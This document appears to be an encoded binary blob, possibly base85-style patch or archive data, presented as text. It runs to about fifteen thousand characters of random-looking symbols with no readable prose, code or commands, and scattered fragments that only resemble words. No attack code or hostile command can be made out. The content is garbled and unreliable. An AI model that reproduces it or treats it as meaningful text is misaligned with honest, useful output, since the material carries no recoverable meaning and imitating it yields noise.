zwjU-zIO2Z1snbkH{i2X&+ym~f4E&9#?DrNj(x}38Mtx8pj;@9e_=yt>ZuUCXbW+&R8${%5Cjj_+E2;WR6rcud1} zTuxofX}qH|ov!8N&p3Vj);1=!`Uxt!DI&jZZD{CG_~gkhE<%y}Cq!L zODiypAa*nh$WP;Ct~DUxJ6I`+!x36Gxj5+Y7W--p47j-rb1~&833{V`y$}PEUq{%3 z)_9_qL?e0&{QpXhnMX4KUmi|Ep1i1mu{%Dk#Nhm7ELTMX1|y8s*B6uxFDMplS>}}F znI3o;!-~q+!;O((h+*^|F}nGAOn;&YcT9{*ED=f{RbEgQr!q1Yn>b!E%m++Cz*~x; zjw$U?8uYj38=mpd-=x?mWyZXXeP6#GiHnozV~u}i+_m{du>!Ux)XZX*W*slmo^jBN zNwAM5T+9qJRj{cE0xR|fAhL}q6}r*n3t%*FpWkdupcM~%HDy!)EeA1E8)Bmw^Oj*g zKM`dfNr8k;9i3bh&evi1#Sq!#2?)e#B}X%iFqNQc-~if6zZOkNuF7gQtsFF z5OY~l;$t>JqGV}X9wr_r&r9W%N4!=b!@LFB=A6+tLC-UAh1qmDrY8_rZopd}@&&An zACQb8K)s?hgnbE%iU-rL5KVe3ncu})y$cQIqK^7e?%|#$(tA%5aa|B-_8Gwd38Fkg zGx%^NbKyCaKChnF;4vzKB~gFGH?%dPGkdA@lO<toL0D}3NEY}OQ4j6Jzn_cV7E4a2+(jes(B ztuAAjx>!m=!KWioN^V{$!ze_5L_rB%_k?~ySA5<)QgqzYG22b9Ep__6d0nPkJ}uFP zKr_|)X-=h?r3O&oN&aSXS;75 z?t>8?M;rVzfmuN5rFdo!E^MMT={Jq$O}Ihwlh!xuWVCf7M@*o5_VUanF#PSDUq5l# zZ}KtSYd@w~+caN^IJNC10PS-T=pKaJ6re9~4$vFGb9v_TdwAl`e14Di!+OQS$R!pi zj-EM;#}Qr1OD$v@SD_?ZF_&r@UWG`O_4cRN7w(*dG`X(e_~q3bdKVz|Wb zQh>@^22i@E0pjmvfa3oEP<&qqh2%pZx$MR_3$_8cH2YPeOV@NHSx&nf^S1lHDE`Z) zKNY<=o&SbQ?M}yG>}ehZ_5=HX-M}tjC$J6J2&@BE0*iqAftf%XFddizOaxkh2oM7N zKm*_fs)4aU1yBg&04hM~IUoaIfi$2OzyKf4Wm1m;M}hso4qzj2J~~ZYmh0eO4J-#1 z0rvy5fHt57XaK5!e1HR3pcjw=9G`~px*a2(-)&pySmB2$l8!!`rzez5?-m*@q0x|tNr3$cL zFJIp<_5b6lKwk+<>XCBZQcQ%Zr?pP&9~0lBZ&(+LAF2qW0pF;XqmKhdyFooWqii6ywL_>TMD@*gB#3Wsrpm@UB=1vk$b5z=^s@j>t+z18_ zS{WFpCmhCqNc^pAOOrnkb`6Lc0Y|vDL2vSe2RHd@jbJ!f7a5G*I)^9Rl-0}+V6m9! ztHTn}Xe=OLnaeeR&*BESd-r5nCw4f)=I(qqsR>p--A*>UABkU0l2=59X3CZGl;-w-hW{6p$D7wXBagUiihmP76pxE3()rTmk|a5$GU-OiBL$^fr8a44`Z zlkN@ft?rlHd)x=yhurVDKXNnLx3x>Pep;r+Yl`O5%C#FcbQl)@jfLFjbDKE_pUao< z<@`;&4hcv2N&Juad-!>f@Ctqvzn*`d-@(7mf6Vu`3AV7U)%LJ$g>98>tL;y=WMPu9 zNO%l#J0i&9Fi5IO947|Eh&Vy~5hS%(TqbT1pA%n%y#8Ry>xlTi_=)(Lc&>DT^j(RS z(xq#pA&{Iy%8?4B3h8DkB(+GBq&uV^OZQ3hq@PJYhy2z_o1{0TL(=Ec4`farD*NTA zJXKyNZ<1e<&s8o^zN;vTOBtq=C_&|*a#Z8W0z_E)b_Iki|Ft@_pR>b>ei>QZ&B z`i#0=O|gH+F50v0qwHhtciPW&WIAk)v5v)#<&F)GlO?R9BI!!j-0_YlAgGQ#H5tn6_Hmp?#>4p_&L0=WxZ` z7_OR|%FW<@!94>>zrel1y~%yXmGPN2(N=7$w>@hcD(a#E&6*+pM4T^f7PmvQ_M@&v z@)$W=DNxFkS;{O6I&`m}ntopTI#L>#*v#~hbrXSvgSb9WS0a-p_>f%e%8`3|e6uGB7SQh0H*(2A>A^CQBnS2Ok zj!_zwrm823-^b1sFy zhLvA&=A)+Tq^;6+>6r8pbS5ZA>wk!5B`;GQ$d%(WLzRJGE{ttT}$2iAKN4k@DI#J7C zx^}pZxUO;!cfaY*(caRSYHN)ynfrk2$4B|MY#W5T#b?D`;>D6E{Z2}juaQ^Cy%kOw zsuU_U$}P%d<;Ti=WwEkaS+Bfc^3Yoypk}IN>K*DFb%DA`J*MW^AGAMee+Dgkx3*Aw zLffppru|!^#lMds%ii4gIG)SnMsf9ADLK+#^|-3oN7@_hP1%v`3E3;NFNAfQ>s;kr=R5+dcCkxxwLyDcaQ(&A z$E~@qgH@a1p5tEZ-so=7UMHQNg8vG@$>K(ERorddOzvK8AvXc`X*s{0zueYWxI!SC z(<st8L{8~Pu zP1L4qGqpL|L)ubprM6aEuWdnZ-lgr+4r)iytB-5UBD^LGc~iJvTpHJp+vVErs&Yrb z@BQwj;C6@mu=_kMLo3u8K&wq#u5Cl!!y2>NTC+Wm%iszz!nJX8xYgWF=s$>U#PbHQ z!yEZ6{4v{ywvTPcZH$m2oG0`WQiU|3uh0+U)F2^4$P_q16jZ?}%9o0( z#f`A(`^95o8m#yrDMQMXIH}rR1v^^p@H!eCen$wlsl_qTF~!m5=4iazJLGIhv@Os_l}pI zANS^rJ*Gu(&RFXI;kvA~_4oat{+=IaegB?&@4ZjX`iIq7^~$|jKfE`qXh}uZkMCQx z`ufz=Q>T+0@!A(*1Mm190D- zR^R%8a2LniMZ&%Fhu`;8S#iw09!XkcvPjpC0QQ+Agm)#W8BlUeb+ zP-%P9x!1rqHjHbUmrHX@HZP8xShXV;P12O%E>908ht%acMm^68?5sLXs~rd)cQo$= zgjLLP9dPWvKf5&{d?0n+J&s-N^=38PXYOw5A|^DyE~qP?G@V=a^1^^4_!bp$zq88| zrSZ#3=CPu=8_ivsrgh zk3TJEG@bw5aO!5+*>ryC!9V;=wl$sq>c+wGN-gvBI(Db9g3OSm#oT42R>m=jN&!HN-dy)w*}&kGcoKk!TFUc~6@ya7qCJPnsctF(r*dL?HSOWEPz+wx_sE2op1 zGSF&jv5YTVs0=xFS0p-iFGxe|oKWet%rk6$gWa%@)eM^lw8~yq9yPxkJTBW?6I&AI z7vG@_AqA`KRl~D_Z!7NrS@v8bI^H~_DO|l(lDDv8ySdA&S7Mm<2HWM8Y`K#qnm?re zI<2}Tc?swU_?65SJg_Mf!_~3-04vJfn6oI?3D+Q0uDLT}XJ)lM0cH90%0A5u`Y_LF zAYs#$vtYLR(vv_5UEJ$vCJxJ7C?N6`@|3gGmE*0>9e3l?W!;};qGdwT3N0beuvec` z4X~cR3SW%D>wLO0tf%`CVyR2%JD}fSg#EOxqDPcrz78m>`<=^O?Sz<9@;ko+DP_(f z6s@PvYL}dmiTdo|p+<|dw5?qL?Evl|FX}kyZ=@>c?4)n{QpC90(YgYCbwMG1^YL4N zUon0q_?6;!JAMoCy92+)_$|Q?Z6J#1m7r9NI!&i%p=oM^O>#630ow{6o0E<5UwSMo zIjj7Q_*Ureu>3`UdG&YwPY|GO4dL+)!mh!#web6VK0Q4XN!qAEFMX9JIro&}!-#X} z=|za~wGq`q!CuTme-`TW22%8N%Iw%390V{FisEYyd-e1zq-O*Emr<8bf0u<$A|mIo zzXxG+*w;o~GX~6KV50pPu(Z!eO&z1ZtG~ceNW3U>*xvzK_}Zus`2w`th*9_3a}Jxs zZPf390>LEMoKj%p(gV2|S#8t-+D6+B;Yz~kDzMDQKW2`k(yTMnWceN17t8OLvLtDy zG@$EV{T)om(I2xp^3xLpM{s{Bajtg5Q= zXM#w2`dm;DWS9&)6VQ#ZiLoq3C#C%lbZ8ag3qTLeGyEFLutbsywNx6U0aL(K zg%9SVp6;an6JX5}>cN=C5PtW_7s~rA--0MLpJtS#tizzOAzUGvfsYB@ot_2=dL2Fp zaReYoj3#d&K~JZlhc)3v8eTrlq`#|1%*ub{O`{@}8Sxo44|&iAnwT`Xd=+~7JTxnk z=4$tP!72P#r=!VeGc{&~;1(n|Fps?yYYDe1*{lrJ*xI^LZ18}bu9+ee5Y`o^0P*m! zuGfHF)b6uOhm3!$DBE6v9=?+;&9=FYx89v?AKC}OLXs!7Cae2QH@+d)tK1~tXh4-y zD!0^MR>dxaKe3rVB*$s~Ffw%o`dA(x&ryIJ%2&%eDD9tFvg?i4^pTM*=5y+oy6Y`< zpQY&|$z*Dh``E%^lz-KY5qV0u-wCfB-h@c^iqL$0Sx0F8$O`&?ExyC}0%f3SXN$5e zSj@IMb`@pY9D8T>Nmi$6T`Iu#Dz-V>cIJ1HT1wY+z7Y-CJRV6PGCNI<2PUCqRqUL4 z-coB)QuAi!nj?h|LJ|7DPn)xi$rCG`$+V z*tU5(=JNN`B&qEfTEXuVIX5No!f{CX7GI66L$G~g7H5$6;h7we`0L4%RD>>nmik-pF_Mi}^DQ8tE?fC;5!De{t40%)<@y|g^80{2;j_&DGRPY+ z@gtJ~s9^)aK}YjBl;?{jTulj)QqBlSK7LaYh4l2hK?W^RU2M@KQ+&J`?X2nVKrUK| zZD?+JA|M#F{L>6c!obCdR~zgmG-eypVr=V*9g~BjIAR|(wgYy50d>lK$bpOG?TSnsf|$knXuG&7a!xfh#1Ni;vLgRSPVbgp*(9C|`*Er?*L zNDM{?d`eK6u4L#+8h-*^R#Q{kf&NRZb9~VrnNa7rx4q7>62E)!TiY&Gl(YBLPaMJH z%0~9S`tjCqBuUP#b8I!?SLmcq7JUd*SU?{yeOA(EZAfbbUUw)xm_RqP_rnp3?1-2{ zw@ZjMg>HA=p$w`YJLF76ol20C>l|AEwJZem6SJJyVk*2tIbXf3W9Ycr;mkRDCp(HM zDc}p0^Wn(F94P0m{^e*DjgFZo(9e>3I ztKIP%$PSdEDufO^oS-FXD=gX)n^t9Ko|CL>0Na43FMoLN>f0fj&be1!y+#wsQ@WXl z&na1buaeR|^j^Sp`GM+@a6qbY{AO$kWv8{WsJs9r%^bK*cjUJxnk4zE{FR9blAM{p zmYno_Z=zX}#{&o_2|%-?OknxM)YP|3n(#ytV}ORUNt@>cl3WKu%E@ZfmB=~`^tEb> zR%&BqQOyg)`EN;xlT+2V5@H1;xY~!p5;PHVnR*z@F|{5^B%?JHCE38_$#u%tsE2Jv z5?Tq2Bu{6_6V=062AH%m26zR8LlRqQl==7>6lu(R52(z1ce8_4tihI-2UNoL&;#3$ z&)r@BMclW}f~W-7f#3m0GfAtg+!lP>(QJiRJ#SU)>OD4^!2N^Br=B+{Hnm&t??(Wv zwt_8RsTHqOH(6|sU^`%e>=mr|Zgo|XO;Wq;O*&P!`7cd*k3cQLwyaX@UB#pMn+9tc65OE6_?}b`MMhSri*F-4PV6ZpoJ9ar*jfegoE& z8g=<@}eFG``?e0poz3|BmNh|LzN(6+fQ#3-^G{rcd}&R3AGvn*Hc3gU;@iRYMhm$DxqN&+mCIkm+JMal z2m)+gPY0-j{C57L@Pni~Xz@~`y8IoVAe%DY%b!H+*?@?t2}oZ498sgj#~%Z|(Gfn5 zQpEsAQBFRAcqg`P9X<${tFVk2>l};nyG1!QSanL`i{i^z$=Lvwzd_j*Ul5my;^PbA zOq3m85NSEo5+mb$d|e8lu0hn`M-8+~q#kdf9^VFe8mM;_iw;ohFjw>vZA+TAWo=+V zb)EJgDU;#63UYQ8`-$-Czwe}PMGb8PXxxRnyv`PGy_YZ%5<(~8$% zeX#AIE`VQOzlJ{)>nRXM=OC%XOMp!W5HLu7C&hQ5nA?SiKMl^nE$~x8{QJn@YVYvR z&q6c4LJQldGisRb{brjiJ8Moa@kgfJ)uX0g13(~bfg zc1%pBu3iKK`#H zgv~iii_mdx8fBrOF*)xFk)a`;;R_>;kN*e|ea-;VY11edze@m4lXnTc>S0}*M$wRg zv}pu(kI0U^X@r=JnUX^#Vq>xfD7F!B$Ju0(6XjGdcTgOP1z<;X6nYM#9-su+v4673 zi7}G9c$qR)1YV`lIy%PH%{~~<&n<$7zfU>~<8yCVG5Zz_T zE~NxTlwds)sQG@h5b5Npe)91-v4ZW`>m^WU6O_0o&;`gu*!~~N2m!LgM+t~dY{18N zp?n|z=`{N87XCNH_XpzJgGsCI&sg3+C0UFpT9=5OxQ^#^s_o`5Psmg3Ra5n$cdv@B zhn5U&OVE2T5*D~WtRKK0&R94pM|%XznBrvP!7mf^BS_;`?DeO?b^3P^;L1I&+`WsaW$oee&<2n`7^xLMXXeH1fD#rmkB>UH6ih&;HE>*hqli2|%1N zWdU)u0sENmc3DL`5k~7jqt;UgE{DKP@v;rjBZ6Z5Kfy3M^z>%5({-RN14MufxIN6m z9qLR9NgaVz{vM(wts8+9{=M-i4O6mqI8YGCT2aN##DHs9w^nu{ctDvN7zud>z%(+k z^Z5{C03(Kkl4am;ZCNN#%U=Z&S|v;hclWv*>beRoQnETu*J^By_hdJ=7G`H}Z7IwK zd}ea8Rx`JyX0{qGK;b(mcce4qc^EtVM}cph+VCnAT;D?vGEX~+uG!?Zfqp_i+G`Gj zgnNvdHd_h9ldi#HP3g%?B^(;E0tHpP2m^BzeMgYyArsNm4HvYAV}X%n(7?0GKKD6C z=yi&|Q616cW$rU_Rjc&0NiKidri=&Yc$j8HWgmv{Jk}MCTG^2L>GbfYiRRfs(QxGi zOMpP?>1~x-iY)=j{{*@qR19(D5p3Z=C%xE){Lqb-pjxDZa=jPY0IjkwqH6XRs1TE& z9I(+c*m>7 z7JDO*?SB}FI*Tn$*u7Z;gVmAbP>I-%sqKG7Z?vH0*!j`&vD6t@tLYvodB4GOlEgrDOX%V^HNR0&A6+7Cm5ZpMCS@vkv&XWFov;%`sY{jvY z>j#VO!04*>0Gq*4l;468_ZlT~9j~frnU-y) zRqin=dJbtWwESW48?0NFxmPF&Y$)W3dTC9qzyeoGbgvy&_op>oKwEBG=fUnoJ*ThB z52gLWeWd=TJNW?i>?~S?MtnD(Gi3R-x5~$}D6@w$mumU6n6+_yz$49=Y-3elX%(zC zgE(%LdX>Z)oLzJzOxpu=j!l~@CJI#PTA8i!)+?0>u6ArS9&ImX-8-)YEHXzoqjoEf zK9WjW6N_6sQ*jpNi1y6J6ZuncCbgPhn*^)=>U)UY2Z`H%|F2vL|(x=u*VA zSY4eVHQtITdk`qJCdN{jiz8-E9;+;(F@L$l@dHJ%b#K#w+;^G?f z03oMDLM5hv#mj$>S%5_*pClQq=DK{)D53(Cl5h3#bYyD0HNPfQZIZ7Hm@0S!GH6Lc z^egaHc=^A~5Yq@NW~tg`F%yNAZleqzzYVpkGYKV0{SG9-F6%}NRvH*J%P`h;A$D;n z;gE_jkbrXJBxzakk4GTR9)esz=L_<6SXi*c&7rkIPk&s@dL;u@U{gYR=2d`rc@b?< zv_xaCrk+kySD%H7DJt!tWx`kW+Tu?OUV0U)uI}!VQ-huIxS^i5V~C2>g*<1$O`fC~ z<%zmHXQ87u$y|yOrW#nXv`g`03mXQ zyhlcgeO07!ZbTlShJkXkm*+vgX1z5K7_Koi)5BmD@l@!MaTWX(TDZY8^z>(`wvNcS zm>1fDaNRwot5|ehiU9X4=93R`j9K z=+k4ONk14bpl3A2z-S7H+;KIcs6{9g_4GYRiVcORt{h{$6q|?O;HH^7mSQxy1`W({ z+AgR1LS@6{kn5uVsF;d1kr4D9T<-Waot%MP`=hj{Nbg07Y|bM3M*V3WbaL^IQH(!} zLTyBmQP3;_A~KAEW(yECeH2t6K-An((A@$=?HdKH5umeUL5%_w9SeF)fQH9{b_$S$ z7LS&-Uw|xQK_>;sHWoB2K=!eqwEfgZ=UC7z0ZJPKYRf>tKab#}HCBsMnPXDnunH>!O;#`BMfIpuZV<*a0U`f+`oNP3V1o4uF*2haZ z3|7_=+cg257&2yT&mc%(AyKZ$^VsDv2&MeD2z3|;L6&kt{(p@=k(4o8H1|;bmsl+j zpF#2T`CIX^gS43A&z&tfSLt)Gwn#W2a%yX`ogw^k`p{~z9Dtv@UiWINxvoSZ;>0#L zIC93mVpSXE>j0NurD0tK5my+(PC1=@(LY+3PG>;qvHPkzJvt0?Y@u~dS3WV(F3(vZ z{3NN-5jmADv6v6L?72LJh*M%?OYBDY0@2%J8!WKY8OA-ZhagJ=&*_kdYYT?i0z0rl z8II<^0ELjHAXH#siypFsEDx~^%`<=v>iz5;eiVlb|7mI|)3G&a*@Bc?{3y0*E~zS& zS!#Ya*oY)g_mj(?hjvKaZ@~gGUhKB@bONjUu_J)i+Rk^OFi35zGMeYL%TBSs^098d z+kk7;b|#voMCw}0AQ(qkhk9Ye5nPV$Z9X8EL}sA%M6pPQdcS={zA0A18+)-5>3l5} z^9{P3fyp7Oiqqvr{t1OWXJgXkDEST%cntYorf}H+dxza_vQVug^D zi9Y@lU_wd?TVMh|^*L#aW{XHY{RCzcsS>MRrNnHcf=$OlI$7OnG078f;=2v;5O;>K zmHiHc^e$VIzIKAixw&^4DU-&lTP#q6>o*w*)lOT}h=~3eBNckV0Sr>U5yv}fzS!L= z8N7sa1Xu81!7)@ZH~)o{$56|=j^|~5O;{**2Qv8gv3nMWb~qKh2RpYe30n;aPm%dJ zJedL_)?hml&yZ0ec6UDhToiRd<1||o6iM>&eS=6E-?C%Zf+7m|H9)BY<+zD1@y5TF z3mzaEG$|lyx2jzkqEPHnYK>AaHt#)X!lBv2=%@4S*{>7UdU{`+Ghq<94pjIGt5_IX zssvWQ5qpwE5lCczY(%AF!u6ZS1pe4^Nn{`~RG+!5X-iZF&1JjTU>W5ksawuMna8#a zgGt3foz6Ryx7h=vQL*mCht#Nr7(hZ~h$(`q*n@PSfRSI9KR}`mPAN7bRGpWhEM*Ti z8gY{mn&{=hzk<-aC_Vo^{QUe`>RBgykXo0&k?1is?=fm6 zAvz27>$@n5A3?&Jnm}T8=--||So7FITQZxr8YG;?Xm^pO&Xp90m;XDG>Ms6kkpn%c zZUs#zu@Vw2?UW|T%O9XfitDhbUCvSzr~J{!*AO&LS#&oY6Fq|3DtuU8s#vG!_Jte4 zns6kBfQhv>B6>`C;pQ=cRzafC#OU^g==M$VZqE~aOywl0n?$#7GP>OWg+;fwQtO+- zv3|c{F)@yP(AL@gP93xGt8<{=>XQ=h{0u}NV5xoR{NUoX@|EhAH8}p`zbE+GHP|xQ z0$F_jDQb2nm(J5nvGf0fO|#JH>2pZ!9x7hr<=FGkkQmUElko|LZIKjtnJFicRcUj`QEiJB#fgv{F~akAI3LMYSz9R<%Z(#FqHA z#TIwEIJudyL$tqSt&+swL)Fj}6%nx z+MS>ku0=hjNHUE35?P^z;yahe&E-6{>z)LH^3^aokuO(ysyx0_wvd8%N5KKwG3=OU zICBkWws6E^>I{`ZiOH|W$W&)OX2F_8gD*OwT-If!AhlLcKMhtBxmJySeJPj|I9-hn zLviaFxR`+zSQ;Bh6GJ+Wd)9s(+woxCwqY{>n{*u2gw|z1(~x&CzPf!wESoJmd4C=`>k<3n|0( zI<{+q1BHSdL#oQFuea#w1HjjH{58r=3dI4mjdip%TgmLBz};1Uwl(-UQinqH?FB`&tK0;=NF>$WwJx>ONS#&S-nae>HJl)feE(E|;zPk<ys;>}y%7*bF%lO99DOsVyzLtbYLd)e$WHrj7qW7}0VVs7) zxs3mkPGYg`11HEOPQbxbU4xjk{H0H5e#BV8lC^SX-i9^uWVXQ{V*;;X{ty$mfE*n- zr27rTfEw&DkpkJ>;*1449XeSO2darQd5r^AAHV$zBo>D=T8W>Dw8(_j7i=u?5`OVB z;uop>_gH0dmf-Yz3CsDYQ+-S4lL<#02=wuJm=bKApJep6iEn@vyNfN3Wlb#ejBA zBQ#MOFvPB)5!3SE6KN)Aapcc}$m#*Y-KI?D{UIFwHWf3kp2e9UBKBz z9orGPN`)QH6-^h6%oY4W%FI8(B<_+RSxVr;I_u)6&tNzRW|cK|a)Y!mZQ?g!r4Z^E zXzBUSY1x3?*>8a_^l|Jhm{XRW%zLaG_&Az5$}Cjda{9DgB1tKYHe12% z$~mwCekIMw{TA&(DoUCAOAO`?f(Nnq<;L}rO0)? zOXb*qA2VflTu>c>&WunjG?L%7&>2t}=^ zV+o-<6Y4aWI3+AmzQl|L&giTa;2eT+kk}ntDPZD^_3UDALm8=8!Nvl!=}qiqYSgFt zFeRl>@FbkTA~II^=p8WbAc1Ke3HHJh3g&_}YQYomgVm8gbb`Lyd+GbDWAuHYhrX{I z!nf|>?NQ-`P7CK(-NFg(7tT}d!ugMv;XMA+-~b%vv1maKPl!Bc;pq}pnm|KVFbt+D z5&<2;i*}g;VUg`LAbR>)j3*X_i8VrA-bg$Q`=*K5$vddcMw8#iWT*j^TyL)6^Tv-7 z2@7@GM_^qeTI$OsBVvA4=Npst9cL5g14C#mboY~`9w9BDyz=OnRfxljS{*W-Dz zj662t@$qr8Cj)ZvcQ8(_tN$`o_!l)gVS_c0T3y=_YAQmZf$=r&ZkUUP!H2{kdKu|! zJ4io-S>bw{bZn*b%-xRNg=vo6HMmieVGcvlFcn(^w$|<*sUOEmZRW%7bM?vd)%IEL zqxGDu&9HSf6iu-&$_tG6*Fr!rG+R4>z2sF-+b*iJqEKgz>aL*I!g@!E{P;QfW_%63 z&r;xZ9l^Xt%$;KX(FWxfTp|ne=|eqgpDDIjj@5t}hVC%GWU$+8nhW~1J07JI{IRC4 z-_Bq(z@W#A#^pI20*EO`gmJYu<OpGAoZ6oQ)avD5>c6&=cAkVO{f4K_Hy>z>Vkt0FAn~K!1M?1-{ zL2Byta=OB@7K1EqN(5U9s*a9>V4eXzp}W`dzyp-~LQXWa#G;mR^gDy0T65}SHv>uU(_fT)m)b^p?QqT`d*wIF!dOVcqM^SJrga?V zG7_Il174UAjo9R5G>fd$ElMUUS*dxBsXtf=b9tL`8!K6*d3w4^R*_PPAlI?fZX9i~ zBU&mkusrF}N>;&E;uUU8DjZznLJx4Fbu_Qu zBB%Z+Y*+W$%^thEr~dOF9k83r?CvA$#vu*|?E7eF8%MY_R0cpm@ObdirP;W)n4O0E zB^i}>ddtiGxr;`1{KjIvU&D=%RoYCngtY#-tlEau*Se;F)v6;S(8Mgwo~@oAkuC18 z)?Xi*y*_mJb553`mD<(&Es}Cb2-4WM@Q*WT^G~H9a2A2c&Q(996$4B(1KhcT?!F8a zS`q=-L+NA}>a&5BySn+6NLb1I8TwkgzSgO)P2;x;9&4`^Y0wNUL70DH%r8Qw@9ICv z)PItp|6~?Vk0soP+lRiY3U&&n2FG1*z`tp zfk*-APX9X~OF6&m$C4CNNUX`W-C3^7*=hU*@CdBUwfk(+j{Q*l`vPgpX%OxqJM~DS zyR#vQb+%CqSqE(Uv#z(1L5$#9R|G6RZ4Slp4VOe%1DAslyWW1$3l^i<6Vz~4=uS)1 zIXVkzND>w`5iDvj2;B@_YGXc`z)85n@@wc4^f^>MPwxX>Gsz3JG+IIRl#dfI?Qx;Z2#aWnLC%~9S$Bi0IYru6=B>gk#_dNER zrc#ldu4~$%Ux;Ohvm~RoaQ*arQCUXQO1r)lHwQ;+wDn``Ll-A$1oOU!X%AKN2hgnIb6L*I_1FVrGEyr%l z+N(UyNCMkOqBJa2NSn3%qB?6|Y@33`l2$q}knLgw8Jw1=2+<4HVr1v9-P!N zo{z(}H!x|rmdn>eb3ppLjw&{ibB^vRI|{K2GcQ!mtiZM7l$J^S1oriTD*%&r54<=C^~Dk01qVJoaFR|o9N@~qh@*v+Q; z_~qd9v||4@lEjZeF{5ShH-&>U%Vm)?A3sOB8~!3-@pBqu1d`DTZiYcEP>T-1P(WYM z?I&0`*!Xw;1Q5tsRuRbs%v4PGm(YPR>lQoV0+y>Rk0Dav<3FQ%Fb1Zfnd{&1@g`Ak z;h1`tp<+R~HLAS@g&cQze)#5FR zlso<)kT(_MGBn7X?!#?~7_x$J-56KbsQE-SNd{FuA+-v~)`OiUkbXJxyx~bSiezEn z>K2wUO2V0r{h-FCNi7}H+HQN$1gbezCA-BxLu0r|55Npo8*G00H^ zlHs=6Vvw)_$#h%oF~}bbNS52`j6r^7K(gJ|v>1dLkhyN_tQcgI0h#BvUK@k_z2wP=s^QA+ilH`LG}=2Y&DMNdogoKv-2xN>FaHLyKwD1 zBwQyC3O9{62seW(Lr94Hri?~_1UVh;{!f+`+Biw2p5$@gm6XCAp$A!C!9~G{j zzaiW;yhFHa`Afo;`E$bE$e$7JX5I#uP}tRo(Z;tE)Hv^J72XztZWUet-?D%URik0lJ|$g8zt{@;ThLMTn?~O8!ka-}v+!n;HwyV(-vtGO#Q!3^WPi;+7T#IpeOGv|CGR2O%_VPG zcxRJ$m+;Od?=!+XkGxL^ZvlC?3vUs5Tj3Qbmr`i6h@iWQ{3pWeC2yVZE+y|W;jJdG zS9tFxuSa-SlJ^#P)%}^q{3|cNs8ymy)}X zLu*Z&6L4r*mJOTE19*|dV`EV0Szu)D$#%8pd1le2c`P4kj_vIs%j>96@?xjB8KMvw zqDPU5u0Q_-5nHMZ4*w-Ar0ef69|#rN+~M`N!QL@s@z{_tU$WpOn~6L(4gB{6ME)zf z%!e@6A~5MWm$9s@g=}u1pm|L;Fjx3CNAI`Ij12f^7a1` z5kY;+5~Dps)Sd+)`)x*p@juzy>L{IS$I|&cw7P=Mhc43j9*B+xop+C+GaCY(|2<@xN*3nNy+%zG_p8%@ z1dX4}`1p}Qs0=TLl^xGQ2m#Hc}oA z5r(_BD`%1ASk70D-8f{hOro;}bd~vb<#RH7S9++7hp3DzBYQ{19#kcybh{y?Pob(3 z`O49%-o%dLqM+{BZ9>rw9AJo|7gEtAuYX9Ha*VPMplpniI%dPsP95=;9FOft6uKdb zs7!-~(}ygn#8>jl?8?=UNL|4E3hYaO?_|WG`*BPX`P6uRK;UHJhoFQpnx7ZPse-*% z1tY}s(68it;MkoA++3mc0=JnO0 z01HDN&O)A;%I0Bg1EKs8tyfQHU*yA}Q3abuS}pPBmunEU`*1#`A0?#`=MQ4r0HeIT zId+s9(~#3u4xgVNCw-VSx^*zj(A8*_BNza~^?fsiqqzcLzjT81i?Lgcj^^6{^Xfj1YKaI23ZkS~TErL}``_36qrRv-3i{(!B=DcpaxrD5?A4^8MH2fB%L77z!BBRGSb?~)<6=Dr~)QG z^u7hq;JuB*dT=rLTwOSZzz`KY_oYuj*O0~ii=2II;K)dz66S|3p9p(iPNE{Rpsj=3j^%$S#4xV^CX_!)MPp=S3VNUo5KwSi ztw~h-Eur-mEh)6s0+4y#gfosU+40iGbcFgSw2wk1P6Xei;Aslp zmlfKY+ps&d-Y$;M5w|!RS|1f}bo^h+26|)4rqGzODL7iTE#jkshePX!nGWCI#~Fsn zW6Gt_m~tsNS}x8(oSP?}aoh)bIYaBwvaO((Gr}EvKl(OpKl)p=WtPyMf56n}GrCDh z$CE#JWkfw^tH0*VQ+oDxirvP#_EN{8tLp7)pV{24X9o}6gKXKMZi!5a8JV>fI9&9 zEZnnjqi~~ehv5!~EFm;qG7p%eF>)}S8r_563H$~`+1d8xD>}AOi=k~E^&72^L4e~W z6ahKnX+!c2!=cT2!?8}tzSs$=U!Qqu81*h)g%;>T?}5@5cu`ioPjD1QeUd|cQvH3= zCzN=bAO45&dmg{mV)Io;T1w37=Yo1)26NutG6p>SU0`*<)8srTtbGF zB7ZdoZ4CDaHl2s|I#Fm&PtL(|w$I2hu60t&WRU~6`Nx)7s+_6mKM$EcE*N6Xp9SeZ zw&p(yWvf{8S%IMyhuo{48&OiZStNpmffSh=Jg_m_E$(Bl%Vc5oqv<$k2!DiIz~WA| z6g!~3EHIeW6__gFAQGwR;=|iy1Ex^(N zi zABUnHB80mO5_7S=xqXvE?fY6QwnviG#r7=q4SfZf?slkk7D*dVCIvV)!Z{B;T#)7; zpaa$aI)oMQyC%Bp&b-Me4J6#%t<`8}Y%$L_!U$ONLS634SNq(P895Giu*Lx!^tc& z9CWvR>o^ZJAeXb!3sVh<`SJTlv9n2Us3_ZF+$=(>S#&l@r;@sSi@G`cT3lvu%h}hi zzYeF8%>JB)NA&1ea`SUImz->zOBOw6M z$wD~5AiCVn?zHEX+Y~EFK2k?T`Ac31w2_pU2Zh+RJ8aqli}oXXWx2PyrnY7oP9XIj zGD^*m@WR4>9E^<bMSB}voiY{(K2>c8ua3H1pO>f2`7v8_qX zrf+%{eWzv8cTNU<^V9IHdpNy7IH|LRGtDU+t6exVZNjnwZ;;V$d7B9Sa5E-cq{ykV^#@3_)>| z1KXSo{xTHrI2G-OW8gv0`CPo^fr4Q+6qx~pVKr36hpD&@zIQY^znZkY-8v6r8%VQf zBQ^9s1jt+k91WH#Bg$mHl9W6hn_RgVqLmVoj>OKfxu(A>Lv+3c_ z(AZzmdlOiW=2ByoWS)W&RBWXKK7JO9lIXfvszD?&$rBAlrjIX2VOT8i)XOA3ZnR#0 z5PEhL0E=@>(Rde&c6LQ(0bfiwA5Syd`EN)ItlxkWTLN!}tt&P6ZS0(BKJFQ~9E0OF zU~*BvqCQoGZ8t2<>4G85lCp0FBIULr#OYOF%^mxD5R$I8&S!OT)slo zMckgh@n52@{!^qs?!n`r=dH9(f0U?gpM?@CSlV{+ut+Eyq1L-6WG5W&xzKnaLAEwx zDayeK8TeSKu~SG{KT3JLrWXGU$B>fITyP_Za9_fL}QIJrjQn-40)SP zbLGs|BGc>^yfiOBEtP)_B+LMuo=}L~<#=@;-eI7jNGkyg5}r)pl(Wz5!9#B*$AiaF zWgy|sP>>MDD|&*yc(WDf0aig&!nr^X63UUQp%Q+90P*B2$0UCT6p1zQKrBOfdBCcP zRue)2Q!HD#{sIvx_Jo4KoJhPK1q7s!AY-{f0x#ver0t?p$n=zQ&{+@@W0r+zV4J@* 